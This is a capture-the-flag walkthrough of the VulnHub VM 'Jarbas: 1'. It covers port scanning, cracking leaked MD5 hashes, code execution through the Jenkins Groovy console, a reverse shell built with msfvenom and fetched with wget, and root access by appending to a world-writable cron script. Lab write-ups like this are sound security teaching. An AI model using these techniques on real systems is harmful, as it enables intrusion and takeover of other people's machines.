This post documents the complete walkthrough of Jarbas: 1, a boot2root VM created by Tiago Tavares, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

Background

A tribute to a nostalgic Brazilian search engine in the end of 90’s. The aim is to get a root shell.

Information

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.10.130
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 28:bc:49:3c:6c:43:29:57:3c:b8:85:9a:6d:3c:16:3f (RSA)
|   256 a0:1b:90:2c:da:79:eb:8f:3b:14:de:bb:3f:d2:e7:3f (ECDSA)
|_  256 57:72:08:54:b7:56:ff:c3:e6:16:6f:97:cf:ae:7f:76 (ED25519)
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods:
|   Supported Methods: GET HEAD POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Jarbas - O Seu Mordomo Virtual!
3306/tcp open  mysql   syn-ack ttl 64 MariaDB (unauthorized)
8080/tcp open  http    syn-ack ttl 64 Jetty 9.4.z-SNAPSHOT
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

nmap finds 22/tcp, 80/tcp, 3306/tcp, and 8080/tcp open. Nothing unusual here.

Directory/File Enumeration

Let’s use wfuzz to determine any directories or files of interest. I use the following options.

# export WORDLIST=/usr/share/wfuzz/wordlists/general
# wfuzz -w $WORDLIST/megabeast.txt -w $WORDLIST/extensions_common.txt --hc 404 -t 64 http://192.168.10.130/FUZZFUZ2Z

Here’s the result of running the command.

********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://192.168.10.130/FUZZFUZ2Z
Total requests: 1272964

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

009671:  C=200     13 L	      28 W	    359 Ch	  "access - .html"
582568:  C=200   1006 L	    4983 W	  74409 Ch	  "icons - /"
600443:  C=200    403 L	    1784 W	  32808 Ch	  "index - .html"

Here’s what access.html looks like.

access.html

The usernames and password hashes is a clear invitation to perform offline password cracking.

Jenkins

John the Ripper can crack the password hashes as follows.

# john --format=raw-md5 --show hashes.txt
tiago:italia99
trindade:marianna
eder:vipsu

3 password hashes cracked, 0 left

It turns out that Jenkins is running behind 8080/tcp seen earlier in the nmap scan. Here’s what it looks like.

Jenkins

The credential (eder:vipsu) allows us to login in to Jenkins.

Logged In

I soon discover that Jenkins allows the execution of Groovy scripts in Script Console.

Script Console

Groovy Script

According to Wikipedia,

Apache Groovy is a Java-syntax-compatible object-oriented programming language for the Java platform. It is both a static and dynamic language with features similar to those of Python, Ruby, Perl, and Smalltalk. It can be used as both a programming language and a scripting language for the Java Platform, is compiled to Java virtual machine (JVM) bytecode, and interoperates seamlessly with other Java code and libraries.

The console is able to execute shell commands like so.

id

The result above shows the output of running id. We are executing shell commands in the context of the jenkins account.

Let’s see if we can execute wget to get ourselves a shell.

wget

Awesome. Now, we can transfer a reverse shell executable over. But, before we do that, we need to determine if we are dealing with a 32-bit or 64-bit OS.

uname -a

Let’s generate the reverse shell on our attacking machine:

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.10.128 LPORT=4444 -f elf -o rev

We can now set up SimpleHTTPServer on our attacking and transfer it over with wget at the Script Console.

On our attacking machine

wget

At the Script Console

wget

Remember to make the /tmp/rev executable with chmod +x /tmp/rev.

ls

We should be good to go. Let’s run our netcat listener and execute /tmp/rev at the console.

shell

We have shell.

Privilege Escalation

I had my hopes pinned on CVE-2017-1000253 from the get-go.

CentOS

The VM is running on CentOS 7 with a 3.10 kernel. The conditions are almost identical to CVE-2017-1000253.

Too bad the VM is one version shy of being vulnerable. I’ve no choice but to look for other ways to gain root access.

During the process of checking for world-writable files in the VM, I stumbled upon this.

$ find / -type f -perm /o+w -ls 2>/dev/null
...
844412    4 -rwxrwxrwx   1 root     root           50 Apr  1 14:00 /etc/script/CleaningScript.sh

CleaningScript.sh

If I had to guess from its content, I would say this is probably running under root’s crontab.

Let’s append our reverse shell to the script.

rev

Boom. A root shell.

root

My guess was right.

crontab

Eyes on the Prize

Getting the flag is trivial.

flag

:dancer: